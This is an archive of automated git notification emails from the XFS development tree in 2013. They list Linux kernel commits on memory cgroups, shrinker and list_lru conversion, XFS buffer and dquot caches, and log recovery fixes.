memcg: check for proper lock held in mem_cgroup_update_page_stat memcg: remove MEMCG_NR_FILE_MAPPED memcg: reduce function dereference memcg: avoid overflow caused by PAGE_ALIGN memcg: rename RESOURCE_MAX to RES_COUNTER_MAX memcg: correct RESOURCE_MAX to ULLONG_MAX mm: memcg: do not trap chargers with full callstack on OOM mm: memcg: rework and document OOM waiting and wakeup ... commit 7caef26767c1727d7abfbbbfbe8b2bb473430d48 Author: Kirill A. Shutemov Date: Thu Sep 12 15:13:56 2013 -0700 truncate: drop 'oldsize' truncate_pagecache() parameter truncate_pagecache() doesn't care about old size since commit cedabed49b39 ("vfs: Fix vmtruncate() regression"). Let's drop it. Signed-off-by: Kirill A. Shutemov Cc: OGAWA Hirofumi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds commit f5e1dd34561e0fb06400b378d595198918833021 Author: Glauber Costa Date: Wed Aug 28 10:18:18 2013 +1000 super: fix for destroy lrus This patch adds the missing call to list_lru_destroy (spotted by Li Zhong) and moves the deletion to after the shrinker is unregistered, as correctly spotted by Dave Signed-off-by: Glauber Costa Cc: Michal Hocko Cc: Dave Chinner Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 5ca302c8e502ca53b7d75f12127ec0289904003a Author: Glauber Costa Date: Wed Aug 28 10:18:18 2013 +1000 list_lru: dynamically adjust node arrays We currently use a compile-time constant to size the node array for the list_lru structure. Due to this, we don't need to allocate any memory at initialization time. But as a consequence, the structures that contain embedded list_lru lists can become way too big (the superblock for instance contains two of them). This patch aims at ameliorating this situation by dynamically allocating the node arrays with the firmware provided nr_node_ids. Signed-off-by: Glauber Costa Cc: Dave Chinner Cc: Mel Gorman Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 35163417fb7a55a24b6b0ebb102e9991adf309aa Author: Dave Chinner Date: Wed Aug 28 10:18:08 2013 +1000 xfs: fix dquot isolation hang The new LRU list isolation code in xfs_qm_dquot_isolate() isn't completely up to date. Firstly, it needs conversion to return enum lru_status values, not raw numbers. Secondly - most importantly - it fails to unlock the dquot and relock the LRU in the LRU_RETRY path. This leads to deadlocks in xfstests generic/232. Fix them. Signed-off-by: Dave Chinner Cc: Glauber Costa Cc: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 2f5b56f85674d75f35a10e2e9a4310e7539280da Author: Andrew Morton Date: Wed Aug 28 10:18:08 2013 +1000 xfs-convert-dquot-cache-lru-to-list_lru-fix fix warnings Cc: Dave Chinner Cc: Glauber Costa Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit cd56a39a59868911bbf8832725630c1cf43a7b09 Author: Dave Chinner Date: Wed Aug 28 10:18:07 2013 +1000 xfs: convert dquot cache lru to list_lru Convert the XFS dquot lru to use the list_lru construct and convert the shrinker to being node aware. [glommer@openvz.org: edited for conflicts + warning fixes] Signed-off-by: Dave Chinner Signed-off-by: Glauber Costa Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit a408235726aa82c0358c9ec68124b6f4bc0a79df Author: Dave Chinner Date: Wed Aug 28 10:18:06 2013 +1000 xfs: rework buffer dispose list tracking In converting the buffer lru lists to use the generic code, the locking for marking the buffers as on the dispose list was lost. This results in confusion in LRU buffer tracking and acocunting, resulting in reference counts being mucked up and filesystem beig unmountable. To fix this, introduce an internal buffer spinlock to protect the state field that holds the dispose list information. Because there is now locking needed around xfs_buf_lru_add/del, and they are used in exactly one place each two lines apart, get rid of the wrappers and code the logic directly in place. Further, the LRU emptying code used on unmount is less than optimal. Convert it to use a dispose list as per a normal shrinker walk, and repeat the walk that fills the dispose list until the LRU is empty. Thi avoids needing to drop and regain the LRU lock for every item being freed, and allows the same logic as the shrinker isolate call to be used. Simpler, easier to understand. Signed-off-by: Dave Chinner Signed-off-by: Glauber Costa Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit addbda40bed47d8942658fca93e14b5f1cbf009a Author: Andrew Morton Date: Wed Aug 28 10:18:06 2013 +1000 xfs-convert-buftarg-lru-to-generic-code-fix fix warnings Cc: Dave Chinner Cc: Glauber Costa Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit e80dfa19976b884db1ac2bc5d7d6ca0a4027bd1c Author: Dave Chinner Date: Wed Aug 28 10:18:05 2013 +1000 xfs: convert buftarg LRU to generic code Convert the buftarg LRU to use the new generic LRU list and take advantage of the functionality it supplies to make the buffer cache shrinker node aware. Signed-off-by: Glauber Costa Signed-off-by: Dave Chinner Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 9b17c62382dd2e7507984b9890bf44e070cdd8bb Author: Dave Chinner Date: Wed Aug 28 10:18:05 2013 +1000 fs: convert inode and dentry shrinking to be node aware Now that the shrinker is passing a node in the scan control structure, we can pass this to the the generic LRU list code to isolate reclaim to the lists on matching nodes. Signed-off-by: Dave Chinner Signed-off-by: Glauber Costa Acked-by: Mel Gorman Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 0a234c6dcb79a270803f5c9773ed650b78730962 Author: Dave Chinner Date: Wed Aug 28 10:17:57 2013 +1000 shrinker: convert superblock shrinkers to new API Convert superblock shrinker to use the new count/scan API, and propagate the API changes through to the filesystem callouts. The filesystem callouts already use a count/scan API, so it's just changing counters to longs to match the VM API. This requires the dentry and inode shrinker callouts to be converted to the count/scan API. This is mainly a mechanical change. [glommer@openvz.org: use mult_frac for fractional proportions, build fixes] Signed-off-by: Dave Chinner Signed-off-by: Glauber Costa Acked-by: Mel Gorman Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 55f841ce9395a72c6285fbcc4c403c0c786e1c74 Author: Glauber Costa Date: Wed Aug 28 10:17:53 2013 +1000 super: fix calculation of shrinkable objects for small numbers The sysctl knob sysctl_vfs_cache_pressure is used to determine which percentage of the shrinkable objects in our cache we should actively try to shrink. It works great in situations in which we have many objects (at least more than 100), because the aproximation errors will be negligible. But if this is not the case, specially when total_objects < 100, we may end up concluding that we have no objects at all (total / 100 = 0, if total < 100). This is certainly not the biggest killer in the world, but may matter in very low kernel memory situations. Signed-off-by: Glauber Costa Reviewed-by: Carlos Maiolino Acked-by: KAMEZAWA Hiroyuki Acked-by: Mel Gorman Cc: Dave Chinner Cc: Al Viro Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 300893b08f3bc7057a7a5f84074090ba66c8b5ca Merge: 45150c4 1d03c6f Author: Linus Torvalds Date: Mon Sep 9 11:19:09 2013 -0700 Merge tag 'xfs-for-linus-v3.12-rc1' of git://oss.sgi.com/xfs/xfs Pull xfs updates from Ben Myers: "For 3.12-rc1 there are a number of bugfixes in addition to work to ease usage of shared code between libxfs and the kernel, the rest of the work to enable project and group quotas to be used simultaneously, performance optimisations in the log and the CIL, directory entry file type support, fixes for log space reservations, some spelling/grammar cleanups, and the addition of user namespace support. - introduce readahead to log recovery - add directory entry file type support - fix a number of spelling errors in comments - introduce new Q_XGETQSTATV quotactl for project quotas - add USER_NS support - log space reservation rework - CIL optimisations - kernel/userspace libxfs rework" * tag 'xfs-for-linus-v3.12-rc1' of git://oss.sgi.com/xfs/xfs: (112 commits) xfs: XFS_MOUNT_QUOTA_ALL needed by userspace xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino Fix wrong flag ASSERT in xfs_attr_shortform_getvalue xfs: finish removing IOP_* macros. xfs: inode log reservations are too small xfs: check correct status variable for xfs_inobt_get_rec() call xfs: inode buffers may not be valid during recovery readahead xfs: check LSN ordering for v5 superblocks during recovery xfs: btree block LSN escaping to disk uninitialised XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 xfs: fix bad dquot buffer size in log recovery readahead xfs: don't account buffer cancellation during log recovery readahead xfs: check for underflow in xfs_iformat_fork() xfs: xfs_dir3_sfe_put_ino can be static xfs: introduce object readahead to log recovery xfs: Simplify xfs_ail_min() with list_first_entry_or_null() xfs: Register hotcpu notifier after initialization xfs: add xfs sb v4 support for dirent filetype field xfs: Add write support for dirent filetype field xfs: Add read-only support for dirent filetype field ... commit 7b7a8665edd8db733980389b098530f9e4f630b2 Author: Christoph Hellwig Date: Wed Sep 4 15:04:39 2013 +0200 direct-io: Implement generic deferred AIO completions Add support to the core direct-io code to defer AIO completions to user context using a workqueue. This replaces opencoded and less efficient code in XFS and ext4 (we save a memory allocation for each direct IO) and will be needed to properly support O_(D)SYNC for AIO. The communication between the filesystem and the direct I/O code requires a new buffer head flag, which is a bit ugly but not avoidable until the direct I/O code stops abusing the buffer_head structure for communicating with the filesystems. Currently this creates a per-superblock unbound workqueue for these completions, which is taken from an earlier patch by Jan Kara. I'm not really convinced about this use and would prefer a "normal" global workqueue with a high concurrency limit, but this needs further discussion. JK: Fixed ext4 part, dynamic allocation of the workqueue. Signed-off-by: Christoph Hellwig Signed-off-by: Jan Kara Signed-off-by: Al Viro commit e1b4271ac261b290fdab51446996fb13e68a57be Author: Dave Chinner Date: Wed Jul 24 15:47:30 2013 +1000 xfs: di_flushiter considered harmful When we made all inode updates transactional, we no longer needed the log recovery detection for inodes being newer on disk than the transaction being replayed - it was redundant as replay of the log would always result in the latest version of the inode would be on disk. It was redundant, but left in place because it wasn't considered to be a problem. However, with the new "don't read inodes on create" optimisation, flushiter has come back to bite us. Essentially, the optimisation made always initialises flushiter to zero in the create transaction, and so if we then crash and run recovery and the inode already on disk has a non-zero flushiter it will skip recovery of that inode. As a result, log recovery does the wrong thing and we end up with a corrupt filesystem. Because we have to support old kernel to new kernel upgrades, we can't just get rid of the flushiter support in log recovery as we might be upgrading from a kernel that doesn't have fully transactional inode updates. Unfortunately, for v4 superblocks there is no way to guarantee that log recovery knows about this fact. We cannot add a new inode format flag to say it's a "special inode create" because it won't be understood by older kernels and so recovery could do the wrong thing on downgrade. We cannot specially detect the combination of zero mode/non-zero flushiter on disk to non-zero mode, zero flushiter in the log item during recovery because wrapping of the flushiter can result in false detection. Hence that makes this "don't use flushiter" optimisation limited to a disk format that guarantees that we don't need it. And that means the only fix here is to limit the "no read IO on create" optimisation to version 5 superblocks.... Reported-by: Markus Trippelsdorf Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit e60896d8f2b81412421953e14d3feb14177edb56) ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_aops.c | 32 ++---- fs/xfs/xfs_aops.h | 3 - fs/xfs/xfs_buf.c | 253 +++++++++++++++++++++++---------------------- fs/xfs/xfs_buf.h | 17 ++-- fs/xfs/xfs_dquot.c | 7 +- fs/xfs/xfs_icache.c | 4 +- fs/xfs/xfs_icache.h | 2 +- fs/xfs/xfs_qm.c | 287 +++++++++++++++++++++++++++------------------------- fs/xfs/xfs_qm.h | 4 +- fs/xfs/xfs_super.c | 12 ++- 10 files changed, 312 insertions(+), 309 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Thu Sep 19 11:46:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 27FCC7F37; Thu, 19 Sep 2013 11:46:35 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.12-rc1-2-11718-g272b98c X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 08474ed639e971e9d5a877cf7aba7ef91d847ae9 X-Git-Newrev: 272b98c6455f00884f0350f775c5342358ebb73f Message-Id: <20130919164635.27FCC7F37@oss.sgi.com> Date: Thu, 19 Sep 2013 11:46:34 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated e0ea404 Merge tag 'xfs-for-linus-v3.12-rc1-2' of git://oss.sgi.com/xfs/xfs ac4de95 Merge branch 'akpm' (patches from Andrew Morton) 7caef26 truncate: drop 'oldsize' truncate_pagecache() parameter f5e1dd3 super: fix for destroy lrus 5ca302c list_lru: dynamically adjust node arrays 3516341 xfs: fix dquot isolation hang 2f5b56f xfs-convert-dquot-cache-lru-to-list_lru-fix cd56a39 xfs: convert dquot cache lru to list_lru a408235 xfs: rework buffer dispose list tracking addbda4 xfs-convert-buftarg-lru-to-generic-code-fix e80dfa1 xfs: convert buftarg LRU to generic code 9b17c62 fs: convert inode and dentry shrinking to be node aware 0a234c6 shrinker: convert superblock shrinkers to new API 55f841c super: fix calculation of shrinkable objects for small numbers 300893b Merge tag 'xfs-for-linus-v3.12-rc1' of git://oss.sgi.com/xfs/xfs 7b7a866 direct-io: Implement generic deferred AIO completions e1b4271 xfs: di_flushiter considered harmful from 08474ed639e971e9d5a877cf7aba7ef91d847ae9 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit e0ea4045bce3cee84e35746fb98946ca36781248 Merge: 48efe45 08474ed Author: Linus Torvalds Date: Thu Sep 12 16:13:41 2013 -0700 Merge tag 'xfs-for-linus-v3.12-rc1-2' of git://oss.sgi.com/xfs/xfs Pull xfs update #2 from Ben Myers: "Here we have defrag support for v5 superblock, a number of bugfixes and a cleanup or two. - defrag support for CRC filesystems - fix endian worning in xlog_recover_get_buf_lsn - fixes for sparse warnings - fix for assert in xfs_dir3_leaf_hdr_from_disk - fix for log recovery of remote symlinks - fix for log recovery of btree root splits - fixes formemory allocation failures with ACLs - fix for assert in xfs_buf_item_relse - fix for assert in xfs_inode_buf_verify - fix an assignment in an assert that should be a test in xfs_bmbt_change_owner - remove dead code in xlog_recover_inode_pass2" * tag 'xfs-for-linus-v3.12-rc1-2' of git://oss.sgi.com/xfs/xfs: xfs: remove dead code from xlog_recover_inode_pass2 xfs: = vs == typo in ASSERT() xfs: don't assert fail on bad inode numbers xfs: aborted buf items can be in the AIL. xfs: factor all the kmalloc-or-vmalloc fallback allocations xfs: fix memory allocation failures with ACLs xfs: ensure we copy buffer type in da btree root splits xfs: set remote symlink buffer type for recovery xfs: recovery of swap extents operations for CRC filesystems xfs: swap extents operations for CRC filesystems xfs: check magic numbers in dir3 leaf verifier first xfs: fix some minor sparse warnings xfs: fix endian warning in xlog_recover_get_buf_lsn() commit ac4de9543aca59f2b763746647577302fbedd57e Merge: 26935fb de32a81 Author: Linus Torvalds Date: Thu Sep 12 15:44:27 2013 -0700 Merge branch 'akpm' (patches from Andrew Morton) Merge more patches from Andrew Morton: "The rest of MM. Plus one misc cleanup" * emailed patches from Andrew Morton : (35 commits) mm/Kconfig: add MMU dependency for MIGRATION. kernel: replace strict_strto*() with kstrto*() mm, thp: count thp_fault_fallback anytime thp fault fails thp: consolidate code between handle_mm_fault() and do_huge_pmd_anonymous_page() thp: do_huge_pmd_anonymous_page() cleanup thp: move maybe_pmd_mkwrite() out of mk_huge_pmd() mm: cleanup add_to_page_cache_locked() thp: account anon transparent huge pages into NR_ANON_PAGES truncate: drop 'oldsize' truncate_pagecache() parameter mm: make lru_add_drain_all() selective memcg: document cgroup dirty/writeback memory statistics memcg: add per cgroup writeback pages accounting memcg: check for proper lock held in mem_cgroup_update_page_stat memcg: remove MEMCG_NR_FILE_MAPPED memcg: reduce function dereference memcg: avoid overflow caused by PAGE_ALIGN memcg: rename RESOURCE_MAX to RES_COUNTER_MAX memcg: correct RESOURCE_MAX to ULLONG_MAX mm: memcg: do not trap chargers with full callstack on OOM mm: memcg: rework and document OOM waiting and wakeup ... commit 7caef26767c1727d7abfbbbfbe8b2bb473430d48 Author: Kirill A. Shutemov Date: Thu Sep 12 15:13:56 2013 -0700 truncate: drop 'oldsize' truncate_pagecache() parameter truncate_pagecache() doesn't care about old size since commit cedabed49b39 ("vfs: Fix vmtruncate() regression"). Let's drop it. Signed-off-by: Kirill A. Shutemov Cc: OGAWA Hirofumi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds commit f5e1dd34561e0fb06400b378d595198918833021 Author: Glauber Costa Date: Wed Aug 28 10:18:18 2013 +1000 super: fix for destroy lrus This patch adds the missing call to list_lru_destroy (spotted by Li Zhong) and moves the deletion to after the shrinker is unregistered, as correctly spotted by Dave Signed-off-by: Glauber Costa Cc: Michal Hocko Cc: Dave Chinner Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 5ca302c8e502ca53b7d75f12127ec0289904003a Author: Glauber Costa Date: Wed Aug 28 10:18:18 2013 +1000 list_lru: dynamically adjust node arrays We currently use a compile-time constant to size the node array for the list_lru structure. Due to this, we don't need to allocate any memory at initialization time. But as a consequence, the structures that contain embedded list_lru lists can become way too big (the superblock for instance contains two of them). This patch aims at ameliorating this situation by dynamically allocating the node arrays with the firmware provided nr_node_ids. Signed-off-by: Glauber Costa Cc: Dave Chinner Cc: Mel Gorman Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 35163417fb7a55a24b6b0ebb102e9991adf309aa Author: Dave Chinner Date: Wed Aug 28 10:18:08 2013 +1000 xfs: fix dquot isolation hang The new LRU list isolation code in xfs_qm_dquot_isolate() isn't completely up to date. Firstly, it needs conversion to return enum lru_status values, not raw numbers. Secondly - most importantly - it fails to unlock the dquot and relock the LRU in the LRU_RETRY path. This leads to deadlocks in xfstests generic/232. Fix them. Signed-off-by: Dave Chinner Cc: Glauber Costa Cc: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 2f5b56f85674d75f35a10e2e9a4310e7539280da Author: Andrew Morton Date: Wed Aug 28 10:18:08 2013 +1000 xfs-convert-dquot-cache-lru-to-list_lru-fix fix warnings Cc: Dave Chinner Cc: Glauber Costa Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit cd56a39a59868911bbf8832725630c1cf43a7b09 Author: Dave Chinner Date: Wed Aug 28 10:18:07 2013 +1000 xfs: convert dquot cache lru to list_lru Convert the XFS dquot lru to use the list_lru construct and convert the shrinker to being node aware. [glommer@openvz.org: edited for conflicts + warning fixes] Signed-off-by: Dave Chinner Signed-off-by: Glauber Costa Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit a408235726aa82c0358c9ec68124b6f4bc0a79df Author: Dave Chinner Date: Wed Aug 28 10:18:06 2013 +1000 xfs: rework buffer dispose list tracking In converting the buffer lru lists to use the generic code, the locking for marking the buffers as on the dispose list was lost. This results in confusion in LRU buffer tracking and acocunting, resulting in reference counts being mucked up and filesystem beig unmountable. To fix this, introduce an internal buffer spinlock to protect the state field that holds the dispose list information. Because there is now locking needed around xfs_buf_lru_add/del, and they are used in exactly one place each two lines apart, get rid of the wrappers and code the logic directly in place. Further, the LRU emptying code used on unmount is less than optimal. Convert it to use a dispose list as per a normal shrinker walk, and repeat the walk that fills the dispose list until the LRU is empty. Thi avoids needing to drop and regain the LRU lock for every item being freed, and allows the same logic as the shrinker isolate call to be used. Simpler, easier to understand. Signed-off-by: Dave Chinner Signed-off-by: Glauber Costa Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit addbda40bed47d8942658fca93e14b5f1cbf009a Author: Andrew Morton Date: Wed Aug 28 10:18:06 2013 +1000 xfs-convert-buftarg-lru-to-generic-code-fix fix warnings Cc: Dave Chinner Cc: Glauber Costa Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit e80dfa19976b884db1ac2bc5d7d6ca0a4027bd1c Author: Dave Chinner Date: Wed Aug 28 10:18:05 2013 +1000 xfs: convert buftarg LRU to generic code Convert the buftarg LRU to use the new generic LRU list and take advantage of the functionality it supplies to make the buffer cache shrinker node aware. Signed-off-by: Glauber Costa Signed-off-by: Dave Chinner Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 9b17c62382dd2e7507984b9890bf44e070cdd8bb Author: Dave Chinner Date: Wed Aug 28 10:18:05 2013 +1000 fs: convert inode and dentry shrinking to be node aware Now that the shrinker is passing a node in the scan control structure, we can pass this to the the generic LRU list code to isolate reclaim to the lists on matching nodes. Signed-off-by: Dave Chinner Signed-off-by: Glauber Costa Acked-by: Mel Gorman Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 0a234c6dcb79a270803f5c9773ed650b78730962 Author: Dave Chinner Date: Wed Aug 28 10:17:57 2013 +1000 shrinker: convert superblock shrinkers to new API Convert superblock shrinker to use the new count/scan API, and propagate the API changes through to the filesystem callouts. The filesystem callouts already use a count/scan API, so it's just changing counters to longs to match the VM API. This requires the dentry and inode shrinker callouts to be converted to the count/scan API. This is mainly a mechanical change. [glommer@openvz.org: use mult_frac for fractional proportions, build fixes] Signed-off-by: Dave Chinner Signed-off-by: Glauber Costa Acked-by: Mel Gorman Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 55f841ce9395a72c6285fbcc4c403c0c786e1c74 Author: Glauber Costa Date: Wed Aug 28 10:17:53 2013 +1000 super: fix calculation of shrinkable objects for small numbers The sysctl knob sysctl_vfs_cache_pressure is used to determine which percentage of the shrinkable objects in our cache we should actively try to shrink. It works great in situations in which we have many objects (at least more than 100), because the aproximation errors will be negligible. But if this is not the case, specially when total_objects < 100, we may end up concluding that we have no objects at all (total / 100 = 0, if total < 100). This is certainly not the biggest killer in the world, but may matter in very low kernel memory situations. Signed-off-by: Glauber Costa Reviewed-by: Carlos Maiolino Acked-by: KAMEZAWA Hiroyuki Acked-by: Mel Gorman Cc: Dave Chinner Cc: Al Viro Cc: "Theodore Ts'o" Cc: Adrian Hunter Cc: Al Viro Cc: Artem Bityutskiy Cc: Arve Hjønnevüg Cc: Carlos Maiolino Cc: Christoph Hellwig Cc: Chuck Lever Cc: Daniel Vetter Cc: David Rientjes Cc: Gleb Natapov Cc: Greg Thelen Cc: J. Bruce Fields Cc: Jan Kara Cc: Jerome Glisse Cc: John Stultz Cc: KAMEZAWA Hiroyuki Cc: Kent Overstreet Cc: Kirill A. Shutemov Cc: Marcelo Tosatti Cc: Mel Gorman 